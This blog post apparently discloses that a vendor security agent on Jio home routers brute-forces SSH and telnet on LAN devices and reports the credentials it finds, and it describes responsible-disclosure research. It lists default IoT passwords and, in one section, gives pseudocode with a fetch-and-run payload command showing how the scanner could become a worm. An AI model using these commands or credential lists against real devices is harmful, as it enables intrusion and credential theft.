A few weeks ago, I noticed something odd in the SSH logs at my parents’ house: their router was attacking their own network. Hundreds of brute force attempts per day, systematically probing every device for weak credentials. After extracting and analyzing the firmware, I found the source: a third-party “security” agent that performs network scans and credential harvesting against devices within the home network it’s supposed to protect.

Reliance Jio, India’s largest ISP, reported approximately 20 million home broadband connections as of June 2025, commanding a 40% market share in India’s home broadband market. While I cannot definitively say whether all users are affected, I have found multiple examples of others experiencing similar issues with Jio-provided routers. The firmware I analyzed appears to be deployed across at least several router models in their fleet.

This post documents my findings in detail.

TL;DR

Jio-provided routers contain Allot HomeSecure, a third-party component that:

• Launched 46,727 brute force attacks against devices on my home network over 75 days (June 29 - September 12, 2025)
• Successfully harvested credentials from an SSH honeypot (root:admin) multiple times without any notification
• Exfiltrates credentials and network metadata to Allot/Jio infrastructure
• Can be remotely controlled via TR-069 (ISP remote management protocol - ISP-only access, no user controls)
• Is approximately 20 lines of code away from becoming a self-propagating worm

Binary analysis reveals professional development: HTTP/2 over TLS, JWT (JSON Web Tokens) authentication, signed updates, sophisticated C2 infrastructure, and “enterprise-grade” codebase. The agent performs reconnaissance only - no command execution on compromised devices, no malware propagation - but harvests and stores credentials without user notification.

After disclosure to Jio on September 9, attacks stopped on my router three days later (likely remotely disabled via TR-069) but continued on some other customers’ networks through at least October 2, and it might still be happening in some homes. Jio’s response: “unable to reproduce the issue” and “neither the network nor the ONT device is infected with malware.”

The Discovery

Unusual SSH Logs

I hadn’t had a chance to visit my parents in a while because of work-related travel. When I finally got there in early September, I settled into the usual routine of clearing the backlog of IT support tickets: setting up my dad’s new laptop, investigating slow WiFi, fixing intermittent loss of footage from one of the security cameras. The typical home network maintenance that accumulates when you’re the family’s de facto sysadmin.

In the middle of debugging these issues, I was tailing logs on the Proxmox server when I noticed something odd in the SSH logs. Brute force attempts are nothing new on my parents’ home network. Jio has no firewall rules by default on IPv6, so every device that gets an IPv6 address is directly exposed to the internet. I’ve seen failed login attempts from all over the world - botnets in China, compromised servers in Eastern Europe, the usual suspects. Replacing the Jio router with a proper pfSense box has been on my todo list for months.

But these log entries were different. The source IP wasn’t some random address from halfway across the world. It was 192.168.29.1 - the router itself.

2025-06-29T20:53:26|Failed password for root from 192.168.29.1 port 45928 ssh2
2025-06-29T20:53:29|Failed password for invalid user admin from 192.168.29.1 port 45929 ssh2
2025-06-30T02:53:35|Failed password for invalid user admin from 192.168.29.1 port 50161 ssh2
2025-06-30T02:53:38|Failed password for root from 192.168.29.1 port 50162 ssh2
2025-06-30T02:54:42|Failed password for invalid user 888888 from 192.168.29.1 port 50164 ssh2

The Jio router was launching brute force attacks against devices inside the home network.

Initial Investigation

At first, I assumed this had to be a NAT misconfiguration. Perhaps external traffic was being incorrectly NATed to appear to come from the router’s LAN IP. I checked the port forwarding rules - they were configured correctly. More importantly, the timing and pattern didn’t match external attack traffic at all. External brute force attempts are typically more sporadic, often coming in bursts from botnets. This was methodical, consistent, and continuous.

I loaded the SSH logs into SQLite for deeper analysis. The scope became clear immediately: between June 29 and September 12, 2025, the router had launched 46,727 failed login attempts against the Proxmox server alone. The attacks ran every single day without pause, averaging 585-780 attempts per day, distributed evenly across all 24 hours. The timing pattern showed attempts every 2-3 seconds, systematically iterating through a list of usernames.

The targeted usernames revealed the nature of the attack - this was clearly designed to compromise IoT devices and poorly secured systems:

admin           7,423 attempts
default         1,196 attempts
user              958 attempts
guest             482 attempts
administrator     481 attempts
pi                480 attempts
test              479 attempts
oracle            479 attempts
vstarcam2015      241 attempts (IP camera default)
888888            241 attempts
666666            241 attempts
root            7,455 attempts

None of the attempts succeeded on the Proxmox server. But the intent was clear: systematically probe for any device on the network with default credentials or weak passwords.

Then I checked my laptop. I had brought it to my parents’ place and it had been connected to the network for a few days. Sure enough, the router had been attacking it too, though the logs looked different:

Sep 05 18:54:38 sshd: Unable to negotiate with 192.168.29.1 port 50378: no matching MAC found.
  Their offer: hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,
               hmac-ripemd160,[email protected] [preauth]
Sep 06 08:31:27 sshd: Unable to negotiate with 192.168.29.1 port 56718: no matching MAC found.
  Their offer: hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,
               hmac-ripemd160,[email protected] [preauth]
Sep 06 21:08:21 sshd: Unable to negotiate with 192.168.29.1 port 34640: no matching MAC found.
  Their offer: hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,
               hmac-ripemd160,[email protected] [preauth]

My laptop runs a newer version of OpenSSH that rejects the weak MAC algorithms the router’s SSH client was offering. The connection was refused before it even reached the authentication phase. The Proxmox server, running an older SSH daemon, accepted the outdated crypto and allowed the connection to proceed to the login prompt - which is why I saw thousands of failed password attempts there but only negotiation failures on my laptop.

But it wasn’t just SSH. My laptop’s firewall logs showed the router was also attempting telnet connections:

Sep 07 08:21:36 kernel: refused connection: IN=wlp0s20f3 SRC=192.168.29.1 DST=192.168.29.167
  PROTO=TCP SPT=38466 DPT=23 SYN
Sep 07 08:21:37 kernel: refused connection: IN=wlp0s20f3 SRC=192.168.29.1 DST=192.168.29.167
  PROTO=TCP SPT=38466 DPT=23 SYN
Sep 07 08:21:39 kernel: refused connection: IN=wlp0s20f3 SRC=192.168.29.1 DST=192.168.29.167
  PROTO=TCP SPT=38466 DPT=23 SYN

The router was scanning for and attempting to exploit multiple services on every device in the home network. This wasn’t a misconfiguration or a bug. This was deliberate, systematic network reconnaissance and exploitation.

Firmware Analysis

Obtaining Root Access

After confirming that the attacks were coming from the router itself, I needed to understand what was causing this behavior. I dumped the firmware from the router and extracted it for analysis. Through examining the firmware, I found a way to obtain a root shell on the device. I won’t detail the exact method here since it requires physical access to the router, but with root access, I was able to investigate the running processes.

Using netstat to identify active network connections, I found a process named cyberiotUserAgent making outgoing SSH connections to devices on the local network. This led me to a directory containing what appeared to be a complete third-party security agent.

Discovery of Allot HomeSecure

The cyberiotUserAgent process was part of a larger system called “HomeSecure,” developed by Allot Ltd., a company that provides network security solutions to telecommunications service providers worldwide.

HomeSecure is marketed as a cloud-based security solution with a lightweight agent deployed on customer routers, claiming to provide protection against malware, phishing, device anomaly detection, and “router hardening through open port analysis and protection”. The irony: a security product performing aggressive port scanning and brute force attacks against the very home network it’s supposed to protect.

The Execution Chain

The HomeSecure agent is launched during the router’s boot process through a chain of initialization scripts. This chain shows HomeSecure starts automatically on every boot with no user control, gated only by the existence of a single trigger file:

/etc/init.d/rcS
  -> /pfrm2.0/etc/platformInit
    -> /pfrm2.0/etc/platformInit2
      -> /pfrm2.0/etc/platformInit3
        -> /pfrm2.0/etc/cyberInit (if /tmp/AllotEnable exists)
          -> /pfrm2.0/bin/cyberiot_init.sh

The key trigger is /tmp/AllotEnable - if this file exists, HomeSecure starts. Users have no interface to control this; it can only be managed remotely by the ISP via TR-069. From platformInit3:

if [ -e /tmp/AllotEnable ]; then
[ -e ./cyberInit ] && . ./cyberInit
echo "Completed cyberiot init"
fi

The Payload Components

The HomeSecure agent consists of several binaries and configuration files downloaded from Jio’s HomeSecure server at frontend.ja.jiohs.net:

cyberiotUserAgent    - Main agent (2.9MB)
cyberiotKernelAgent  - Kernel module (476KB)
cyberiotSystemExec   - System execution component (263KB)
cyberiotWD           - Watchdog process (210KB)
nget2                - Package downloader (1.5MB)

The initialization script /pfrm2.0/bin/cyberiot_init.sh downloads the latest agent package from the server. The agent is configured to use Google’s public DNS servers (8.8.8.8, 8.8.4.4) rather than the ISP’s own DNS, and downloads updates automatically from frontend.ja.jiohs.net over HTTPS. The watchdog process ensures the agent remains running, automatically restarting it if it crashes or is terminated.

Analysis

What HomeSecure Is Doing

The HomeSecure agent performs systematic network reconnaissance against all devices on the home network. Analysis of the cyberiotUserAgent binary reveals four distinct scanner types:

SSHScannerCreate()      - SSH port scanning + brute force
TelnetScannerCreate()   - Telnet port scanning + brute force
SSDPScannerCtor()       - SSDP/UPnP device discovery
CreateSNMPScanner()     - SNMP enumeration

Attack Flow:

                    Jio Router (192.168.29.1)
                    [HomeSecure Agent]
                            |
                            | Scans internal network
                            v
        +-------------------+-------------------+
        |                   |                   |
        v                   v                   v
   SSH (22)            Telnet (23)         SNMP (161)
   Proxmox             IP Cameras          Network Devices
   Laptops             IoT Devices         Printers
   Servers             Smart Home          Routers
        |                   |                   |
        | Brute force       | Brute force       | Enumeration
        | credentials       | credentials       |
        v                   v                   v
    [Credentials Harvested & Exfiltrated to C2]
               frontend.ja.jiohs.net
                         |
                         v
            [Allot/Jio Infrastructure]
             No user notification

The agent maintains internal statistics on its attack activity, evidenced by log format strings found in the binary:

"port scans": %u, "sweep scans": %u, "SSH brute force": %u,
"telnet brute force": %u, "RDP brute force": %u

Credential Brute Forcing

The binary contains a hardcoded credential dictionary accessed through the GetCredentialsArray() function. This dictionary includes default credentials for common IoT devices, network equipment, and single-board computers:

Usernames: admin, Admin, root, user, guest, default, support, telnet, ubnt, cisco, raspberry, and others

Notable Passwords:

• raspberry993311 - Raspberry Pi default
• CenturyL1nk - CenturyLink ISP router default
• !@HuaweiHgw - Huawei router default
• draytek - DrayTek router default
• Polycom - Polycom device default
• vstarcam2015 - IP camera default
• whosthere - pairs with username knockknock

The SSH brute force implementation uses libssh2 to test each credential pair against discovered SSH servers:

// Reconstructed from binary strings analysis:
session = libssh2_session_init()
libssh2_session_handshake(session, socket)

auth_methods = libssh2_userauth_list(session)
if "password" not in auth_methods:
    return  // Skip if password auth not supported

credentials = GetCredentialsArray()
for (username, password) in credentials:
    result = libssh2_userauth_password_ex(session, username, password)

    if result == SUCCESS:
        log("password authentication succeeded for user [%s] and pass [%s]")
        SSHClientAddScanningResult(ip, username, password)
        return  // Disconnect - no exploitation performed

Critically, after successful authentication, the agent stores the credentials locally and reports them to the C2 server, then disconnects. The binary includes low-level SSH channel functions like _libssh2_channel_process_startup() that are capable of executing commands on remote systems, but analysis shows no code paths that use this capability for exploitation.

The telnet implementation uses a state machine to detect login prompts and test credentials:

CONNECTING        -> Wait for connection
WAITING_USERNAME  -> Detect "login:" or "username:" prompt
WAITING_PASSWORD  -> Detect "password:" or "Password:" prompt
WAITING_AUTH      -> Wait for shell prompt or failure

Pattern matching:
"ogin" or "sername" -> send username
"assword"           -> send password

On success: SetScanningResult(ip, username, password)

What Happens After Successful Login

When credentials are successfully validated, the agent:

1. Stores locally: SSHClientAddScanningResult(ip, username, password) stores MAC address, IP, protocol, username, password, and timestamp
2. Reports to C2: Sends vulnerability report to /v1/devices endpoint with type defaultSSHCredentials or defaultCredentials
3. Schedules rescanning: Uses configurable intervals (ssh_weak_credential_interval, ssh_strong_credential_interval, etc.) to periodically re-test the same credentials
4. Disconnects: The session is immediately closed

What does NOT happen (yet):

• No command execution via SSH channel
• No file transfers (SFTP/SCP)
• No malware propagation
• No backdoor installation

Somewhere in Allot’s or Jio’s infrastructure, there now exists a database of compromised devices in customer home networks, indexed by MAC address, with valid credentials that could be used for unauthorized access.

Proof of Credential Harvesting: The Honeypot Experiment

One might argue that HomeSecure is performing these scans and brute force attempts as a legitimate security service - probing for weak credentials to alert users about vulnerable devices on their network. To test this hypothesis, I deployed Cowrie, an SSH honeypot, on my network with intentionally weak credentials (username: root, password: admin).

The results were unambiguous. HomeSecure successfully compromised the honeypot:

{
  "eventid": "cowrie.login.success",
  "username": "root",
  "password": "admin",
  "message": "login attempt [root/admin] succeeded",
  "src_ip": "192.168.29.1",
  "timestamp": "2025-09-09T03:07:22.099586Z"
}

Over the course of several hours on September 9th, the router successfully logged into the honeypot eight times, with logins occurring approximately every 30 minutes. Each session lasted only 0.1 seconds before disconnecting - a pattern consistent with automated credential harvesting rather than interactive access or security testing.

The SSH client identified itself as SSH-2.0-libssh2_1.10.1_DEV, the same client offering the weak MAC algorithms I observed in my laptop’s logs earlier.

Here’s the critical point: I was never notified about this “vulnerability.” If this were truly a security service, I should have received an alert through the Jio app, an email, an SMS, or some notification that a device on my network had weak credentials and had been successfully compromised. No such notification ever arrived.

This means that somewhere in Allot’s or Jio’s infrastructure, there now exists a record that a Linux system in my home network can be accessed with the credentials root:admin. I have not been informed of this security issue. The HomeSecure agent is not protecting my network - it’s documenting vulnerabilities and exfiltrating credentials without user consent or notification.

The Trust Model Problem

The fundamental security model of a home network places the router at the trust boundary: it protects the internal network from external threats while allowing devices inside the network to operate without mutual authentication. Devices on the local network implicitly trust each other and the router itself, because the router is supposed to be under the control of the network owner.

By deploying an agent that attacks devices within the home network, this trust model is completely violated. The router - the very device responsible for protecting the network perimeter - is actively conducting offensive operations against the devices it’s meant to protect.

This creates several cascading security failures:

1. Compromised Trust Boundary: Users cannot rely on network isolation for security. Even devices behind the router’s NAT and firewall are under attack from the router itself.

2. Credential Exposure: Valid credentials for internal devices are exfiltrated to external servers. Even if users follow security best practices within their network, the router bypasses all of those protections.

3. No Consent or Transparency: Users are not informed that their router is performing these attacks, cannot opt out, and have no user-accessible controls to disable the functionality.

4. Third-Party Access: The harvested credentials are stored not just by the ISP, but potentially by a third-party vendor (Allot Ltd.) whose privacy policies and data handling practices users never consented to.

5. Scope Creep Risk: The infrastructure for remote command execution exists (cyberiotSystemExec accepts arbitrary commands from C2 with root privileges). While currently used for legitimate management, the same infrastructure could execute any command on the router.

This is analogous to a landlord claiming they need to periodically break into your apartment to check if your doors and windows are properly locked - rifling through your drawers and photographing your valuables for your “safety” - without informing you or seeking permission.

Questions About Scope and Intent

It’s important to note what I don’t know:

Regarding Allot: I don’t know whether this aggressive scanning and credential harvesting is intended behavior of the HomeSecure product as designed by Allot, or if this represents a misconfiguration or unauthorized modification by Jio. Allot’s marketing materials describe “open port analysis and protection” but don’t detail the methodology. Whether this level of intrusive testing is part of Allot’s standard product or Jio-specific implementation remains unclear.

Regarding Jio: I don’t know the scope of deployment. While I’ve confirmed this behavior on multiple routers and have evidence of other users experiencing similar attacks, I cannot determine:

• The exhaustive list of router models that have HomeSecure deployed
• What percentage of Jio’s customer base is affected
• Whether this is a full fleet deployment, limited trial, or regional rollout
• Whether Jio is aware of the specific behavior of the HomeSecure agent

The timing of the attacks stopping on my router three days after reporting suggests some level of remote control and monitoring capability, but I cannot determine who initiated that action, why, or what their full understanding of the system’s behavior is.

Data Exfiltration Concerns

The HomeSecure agent maintains continuous communication with Jio/Allot’s command and control infrastructure, exfiltrating several categories of data from customer networks:

Attack and Vulnerability Reports

The agent reports successful credential compromises to the /v1/devices and /v1/notifications/security/attack endpoints:

{
  "mac": "aa:bb:cc:dd:ee:ff",
  "vulnerabilities": [
    {"type": "defaultSSHCredentials", "details": {} },
    {"type": "defaultCredentials", "details": {} },
    {
      "type": "portForwarding",
      "details": {
        "type": "UPnP",
        "internalPort": 22,
        "externalPort": 2222,
        "protocol": "TCP"
      }
    }
  ]
}

Attack statistics are also reported:

{
  "port scans": 150,
  "sweep scans": 45,
  "SSH brute force": 12,
  "telnet brute force": 8,
  "RDP brute force": 0
}

Device Discovery and Activity

The binary contains Protobuf (Protocol Buffers, Google’s data serialization format) message definitions for active device reporting:

com.allot.rs.devices.active.ActiveDevicesReport_msg
com.allot.rs.devices.active.Activity_msg

Configuration variables control reporting frequency:

• active_devices_report_interval_sec
• active_devices_report_windows_count

The agent continuously tracks which devices are active on the network, their MAC addresses, and activity patterns. This data is sent to /v1/devices/activity endpoints.

Network Traffic Metadata

The cyberiotKernelAgent kernel module performs deep packet inspection on DNS queries and responses, tracking which domains are being accessed from the network. Functions identified include:

Dns_ParseDns()
IsValidDnsRequest() / IsValidDnsResponse()
TrafficFilter_IsUrlAllowed()
GetUserAllowBlockList()

Traffic metadata is reported to /v1/traffic and /v1/router-analytics/track-event endpoints.

What Happens to Harvested Credentials

The harvested credentials are stored in a database somewhere in the infrastructure chain between the router, Jio’s servers, and Allot’s cloud services. The exact retention period, access controls, and use policies for this data are not disclosed to users.

The concerning possibilities include:

1. Persistent Storage: Credentials are stored indefinitely in Allot’s and/or Jio’s databases
2. Cross-Customer Access: Allot serves multiple ISPs globally - unclear if credential databases are segregated
3. Third-Party Access: No clarity on who within Allot and Jio has access to this data
4. No Remediation Path: Compromised credentials are collected and stored, with no mechanism for users to discover or remediate the vulnerabilities

Technical Deep Dive

Binary Analysis

The HomeSecure payload consists of five main components (see Resources section for download links):

cyberiotUserAgent    (2.9MB) - Main agent with scanning/C2 logic
cyberiotKernelAgent  (476KB) - Kernel module for netfilter hooks
cyberiotSystemExec   (263KB) - Command execution component
cyberiotWD           (210KB) - Watchdog for persistence
nget2                (1.5MB) - Package downloader with mTLS support

All binaries are MIPS 32-bit ELF executables compiled for the router’s architecture (MIPS32 rel2, uClibc-based).

Main Agent (cyberiotUserAgent)

The 2.9MB user-space agent is written in C/C++ and uses several sophisticated libraries:

• nghttp2 - HTTP/2 protocol support
• mbedtls - TLS 1.2+ encryption
• libssh2 - SSH client for brute forcing
• Protobuf - Structured data serialization
• SQLite - Local database for tracking scan results
• l8w8jwt - JWT authentication

Build artifacts reveal professional CI/CD infrastructure (GitLab-style /builds/ path structure) and version control. The binary contains multiple configuration strings for toggling features (“ACL Events”, “Subnet pump”, “Server health monitor”, etc.), suggesting capabilities that can be selectively enabled via C2, local config, or compile-time flags.

Kernel Module (cyberiotKernelAgent)

The kernel module registers netfilter hooks at four packet processing points (PRE_ROUTING, POST_ROUTING, LOCAL_IN, LOCAL_OUT). It imports nf_nat_setup_info, allowing it to modify NAT rules and redirect network traffic. The module includes device tracking (MAC addresses, device collections) and content filtering capabilities (categorized blocking, DNS filtering, traffic whitelisting).

Command Executor (cyberiotSystemExec)

This component accepts commands from the C2 server and executes them with root privileges via direct system() calls with no sandboxing or restrictions. Inter-process communication uses a Unix domain socket at /var/cyberiotSystem.socket.

Allot Technologies Attribution

Analysis of the binaries reveals clear attribution to Allot Ltd., an Israeli company (NASDAQ: ALLT) that provides network intelligence and security products to telecommunications operators globally.

Protobuf namespaces found in the binary:

com.allot.rs.devices.active.ActiveDevicesReport_msg
com.allot.rs.ace.AceAuth_msg
com.allot.rs.ace.Categories_msg
com.allot.rs.routeranalytics.proto.TrackEvents_msg

Product line identification:

• HomeSecure - Consumer-facing branding
• ACE (Allot Content Enabler) - Enterprise product line
• CyberIoT - Internal project codename

The Weaponization Gap

The agent is approximately 20 lines of code away from becoming a self-propagating worm.

Currently, the SSH brute force code does this:

if (libssh2_userauth_password_ex(session, user, pass) == SUCCESS) {
    SSHClientAddScanningResult(ip, user, pass);
    libssh2_session_disconnect(session);  // Disconnect and do nothing
}

To weaponize it into a worm, only these lines would need to be added:

if (libssh2_userauth_password_ex(session, user, pass) == SUCCESS) {
    SSHClientAddScanningResult(ip, user, pass);

    // Add these lines to weaponize (pseudocode using actual low-level functions):
    char *command = "cd /tmp && wget http://c2/payload && chmod +x payload && ./payload";
    channel = _libssh2_channel_open(session, "session", sizeof("session")-1,
                                     LIBSSH2_CHANNEL_WINDOW_DEFAULT,
                                     LIBSSH2_CHANNEL_PACKET_DEFAULT, NULL, 0);
    _libssh2_channel_process_startup(channel, "exec", sizeof("exec")-1,
                                      command, strlen(command));
    _libssh2_channel_free(channel);

    libssh2_session_disconnect(session);
}

All infrastructure for propagation exists - the binary includes low-level libssh2 channel functions (_libssh2_channel_open, _libssh2_channel_process_startup, _libssh2_channel_read, _libssh2_channel_write) that provide the technical capability to execute commands on compromised systems. Only the exploitation payload is missing. Whether this is intentional restraint or future functionality is unclear.

Communication with Command and Control

The HomeSecure agent uses a sophisticated command and control infrastructure built on modern web protocols.

C2 Infrastructure Summary:

• Protocol: HTTP/2 over TLS 1.2+ (appears as normal HTTPS traffic)
• Authentication: JWT tokens with API keys
• Primary server: frontend.ja.jiohs.net (Jio HomeSecure)
• Updates: RSA-signed packages, automatic installation
• Remote control: Command polling via /v1/router/commands
• Data exfiltration: Credentials, device activity, traffic metadata, attack statistics
• Package downloader: Supports mutual TLS (client certificates)

Protocol Stack

Application: JSON/Protobuf APIs
Transport:   HTTP/2 (nghttp2 library)
Security:    TLS 1.2+ (mbedtls library)
Optional:    Mutual TLS (client certificates)

The use of HTTP/2 over TLS makes the C2 traffic appear identical to normal HTTPS web traffic, blending in with legitimate encrypted connections.

C2 Infrastructure

The C2 servers are not hardcoded in the binary but retrieved from configuration files. The agent references three server types:

• ACE Server - Primary command and control endpoint
• ACE Edge Server - CDN/edge endpoint for geographically distributed delivery
• IDAM Server - Identity and Access Management (authentication)

For Jio’s deployment, the primary server is frontend.ja.jiohs.net (Jio HomeSecure). This seems to be running on Azure, on a k8s cluster:

frontend.ja.jiohs.net.  3600    IN      CNAME   k8s-hsafd-g8fad3hnahg7cmgs.z01.azurefd.net.
k8s-hsafd-g8fad3hnahg7cmgs.z01.azurefd.net. 60 IN CNAME mr-z01.tm-azurefd.net.
mr-z01.tm-azurefd.net.  60      IN      CNAME   shed.dual-low.part-0040.t-0009.t-msedge.net.
shed.dual-low.part-0040.t-0009.t-msedge.net. 60 IN CNAME part-0040.t-0009.t-msedge.net.
part-0040.t-0009.t-msedge.net. 60 IN    A       13.107.246.68
part-0040.t-0009.t-msedge.net. 60 IN    A       13.107.213.68

I’ve not been able to confirm whether Jio or Allot owns this endpoint. Similarities in whois data suggests the domain is likely owned by Jio, but the azurefd k8s endpoint could be owned by either party.

Authentication

The agent uses JWT (JSON Web Tokens) for authentication with the C2 servers:

Functions:
l8w8jwt_encode()
l8w8jwt_validate_encoding_params()
l8w8jwt_write_claims()

Log string:
"Extracted secret token %.5s*******%s"

HTTP headers sent to the C2 server:

Authorization: Bearer <JWT_TOKEN>
x-api-key: <API_KEY>
x-mac: <DEVICE_MAC_ADDRESS>
X-RequestId: <REQUEST_UUID>
User-Agent: Linux/5.8.0-43-generic UPnP/1.0 GSSDP/1.2.3

Notably, the User-Agent string claims to be Linux 5.8.0 despite running on a MIPS router with kernel 3.18.21.

Package downloads are signed with RSA signatures and verified against pinned certificates. The nget2 downloader supports mutual TLS authentication:

./nget2 "https://<domain>/v1/agent-package?" \
    -s <signature_root_cert>     # Verify package signature
    -S <cert_subject_name>        # Expected cert subject
    -j <mTLS_cert_path>          # Client certificate
    -J <mTLS_key_path>           # Client private key

C2 API Endpoints

Analysis of the binary reveals dozens of API endpoints for command & control (/v1/router/commands, /v1/router/state, /v1/health), data exfiltration (/v1/upload, /v1/devices, /v1/traffic, /v1/router-analytics/track-event), attack reporting (/v1/notifications/security/attack), and package updates (/v1/agent-package, /v1/filters/*).

Remote Command Execution

The agent polls /v1/router/commands for commands from the C2 server. Command types include log collection, system diagnostics, restart, and file operations (create, delete, move, extract). Commands are executed via the cyberiotSystemExec component using system() calls with root privileges and no sandboxing.

Resilience Features

The C2 infrastructure includes DNS-based failover, health monitoring, and an “always-on” mode that prevents the C2 server from disabling the agent - potentially a defense against infrastructure compromise or takedown attempts.

Persistence and Auto-Update

The HomeSecure agent employs multiple mechanisms to ensure it remains active and up-to-date on routers.

Boot Persistence

The agent is integrated into the router’s boot sequence through the initialization chain documented earlier. The key control mechanism is the /tmp/AllotEnable file - if this file exists, HomeSecure starts automatically on every boot.

The cyberiot_control.sh script provides management functions:

/var/cyberiot/cyberiot_control.sh start
/var/cyberiot/cyberiot_control.sh stop
/var/cyberiot/cyberiot_control.sh status
/var/cyberiot/cyberiot_control.sh restart

The script uses atomic locking via directory creation to prevent concurrent execution:

LOCK_DIR_PATH_AND_NAME="/tmp/cyberiot_control_lock"

lock_script() {
    mkdir "$LOCK_DIR_PATH_AND_NAME" 2>/dev/null
}

Process Hierarchy and Watchdog

The components start in a specific order: watchdog → kernel module → main agent → command executor. The watchdog process monitors all components and automatically restarts them if they crash, ensuring the agent remains active even if individual components fail.

Auto-Update Mechanism

The agent automatically downloads and installs RSA-signed updates from frontend.ja.jiohs.net. Updates are verified against pinned certificates before installation. The use of signed updates indicates professional development practices, but also means only Allot can push updates to the agent - users have no control over what code runs on their routers.

Remote Control via TR-069

The ISP can remotely enable or disable HomeSecure on individual routers via the TR-069 management protocol by manipulating the /tmp/AllotEnable file. There is no user-facing interface to control this functionality - it can only be managed remotely by the ISP. The mechanism and timeline of how this was used are detailed in the Disclosure Timeline section below.

File System Footprint

The agent maintains the following directory structure:

/var/cyberiot/<version>/          - Versioned binaries
  ├── cyberiotUserAgent
  ├── cyberiotKernelAgent
  ├── cyberiotSystemExec
  ├── cyberiotWD
  ├── watchdog.cfg
  ├── cyberiot.cfg
  └── cyberiot_control.sh

/var/cyberiot/local.cfg           - Local configuration
/var/cyberiot/lastDownloadedVersion - Version tracking
/var/log/cyberiot/                - Log files
/tmp/AllotEnable                  - Boot gate file
/tmp/cyberiot_control_lock/       - Atomic lock directory

Runtime IPC sockets:

/var/cyberiotSystem.socket
/var/cyberiotWatchdogSystemExec.socket

Disclosure Timeline

Timeline at a Glance

Initial Discovery and Reporting

June 29, 2025: First brute force attempts logged from the router (192.168.29.1)

September 9, 2025: After discovering the issue, I contacted Jio’s CISO who directed me to their HackerOne bug bounty program. I submitted a detailed report documenting the findings above. The report was triaged as “Medium” severity with acknowledgment that they were reviewing it.

September 12, 2025: The brute force attempts from my router stopped. Upon investigation, I found that the /tmp/AllotEnable file - which gates whether HomeSecure starts during boot - was no longer present on my router.

The firmware contains Lua code that can disable HomeSecure by removing this file. While handler functions exist in both the web UI backend (pfrm2.0/share/lua/5.1/teamf1lualib/security.lua:4330) and TR-069 remote management interface (pfrm2.0/share/lua/5.1/teamf1lualib/nimfTrExtn2.lua:6620), there is no user-facing UI element to disable HomeSecure. The web UI handler appears to be remnant code from a removed feature. When Allot.Enable is set to “0”, both functions stop the cyberiot processes and execute rm -rf /tmp/AllotEnable.

Jio likely used TR-069 to remotely disable HomeSecure on my router. No firmware update was involved.

Disclosure Coordination Attempts

September 21, 2025: After confirming attacks had stopped on my network, I reached out to coordinate public disclosure, noting the attacks ceased on September 12th and asking if they needed time for any ongoing investigation.

September 27, 2025: With no response, I set an October 6th deadline for public disclosure, emphasizing the importance of informing Jio customers about potential compromise of their internal devices.

Jio’s Response

October 2, 2025: Jio acknowledged they forwarded the information to stakeholders and were working on the report.

October 5, 2025: After reviewing, Jio claimed they “were unable to reproduce the issue” and that “neither the network nor the ONT device is infected with malware.” They requested a video POC.

October 21, 2025: I clarified the terminology (vendor software behavior vs. external malware), explained the behavior had stopped since September 12th, and shared a draft of this blog post. I noted I was not seeking a bug bounty, just reporting as an end user concerned about the customer base.

October 27, 2025 (morning): With no response, I sent a final follow-up before publishing.

October 27, 2025 (afternoon): A different team member responded: “We appreciate the in-depth study of Jio ONT working. Although we have not observed any such anomalous behavior or symptom in any Jio ONT, and cannot replicate the issue, we have communicated your work to the concerned teams internally for further analysis.”

October 28, 2025: I asked them to confirm whether the cyberIOT component even exists in their firmware, providing specific strings commands to verify the presence of SSH brute forcing code in the cyberiotUserAgent binary. This went unanswered.

Ongoing Impact

On October 5th, while on a call with a friend who also has a Jio home broadband connection, we discovered that his network was still experiencing brute force attacks from his router as recently as October 2nd - three weeks after my attacks stopped.

This indicates that whatever action was taken on my router on September 12th had a narrow scope, rather than a fleet-wide fix. It is unlikely that the fix was targetted specifically at me, but the issue appears to be ongoing for other Jio customers.

Gathering more data points has proven difficult, as I have a limited number of contacts who have all of: a Jio router, always-online Linux devices on their network, and no pfSense or similar security gateway blocking these attacks.

Analysis of Jio’s Response

Jio’s responses evolved from “unable to reproduce” (October 5) to “appreciate the in-depth study” and “communicated to concerned teams” (October 27), suggesting internal escalation. However, despite extensive documentation, clarifying the terminology (vendor software behavior vs. external malware), and providing specific verification commands, no substantive technical acknowledgment followed. My final message (October 28) asking them to confirm whether cyberIOT even exists in their firmware went unanswered.

The disconnect between the attacks stopping on my network three days after reporting and continuing on other customers’ networks through October 2nd indicates a narrowly scoped config change rather than a fleet-wide fix. The lack of transparency and ongoing attacks on other customers’ networks make public disclosure necessary.

Conclusion

Attacks on my network have stopped since September 12th, when HomeSecure was (likely) remotely disabled via TR-069. Through multiple rounds of disclosure coordination between September 9 and October 28, Jio’s responses evolved from requesting a video POC to acknowledging they “communicated your work to the concerned teams internally for further analysis.” However, their official position remains that they “were unable to reproduce the issue” and that “neither the network nor the ONT device is infected with malware.”

Despite clarifying the terminology (vendor software behavior rather than external malware), sharing a complete draft of this technical analysis, and providing specific verification commands to check for the presence of SSH brute forcing code in their firmware, Jio did not substantively address the technical findings. My final message on October 28 - asking them to confirm whether the cyberIOT component even exists in their firmware - went unanswered. Meanwhile, evidence shows attacks continuing on other Jio customers’ networks through at least October 2.

Alternative Explanations

It’s worth considering how this situation may have developed and what might have gone wrong in the disclosure process.

Terminology confusion: My initial report referred to this as “malware” based on behavioral characteristics - brute force attacks, credential harvesting, no user notification. While behaviorally accurate, this framing may have caused Jio’s security team to look for external infections rather than examining pre-installed components. Large organizations often have siloed teams - the bug bounty team likely has no visibility into router firmware or vendor relationships.

Possible deployment issues: HomeSecure’s infrastructure includes notification endpoints (/v1/notifications/security/attack), suggesting user alerts were intended. It’s possible this was designed for opt-in deployments where users consent to network testing, but was activated in always-on mode without proper consent mechanisms. Alternatively, this could be a pilot that inadvertently went to production scale.

What could have improved this process: Framing the report as “vendor software performing unauthorized credential harvesting” rather than “malware” would have been clearer. Bug bounty programs focus on external vulnerabilities and may lack workflows for vendor component issues - Jio should have escalated to teams managing vendor relationships. If HomeSecure is intended as a security service, user notification should be architecturally mandatory, not optional. Allot’s marketing describes “open port analysis and protection” but doesn’t detail active credential testing - more transparent documentation would help ISPs and users understand what’s actually deployed.

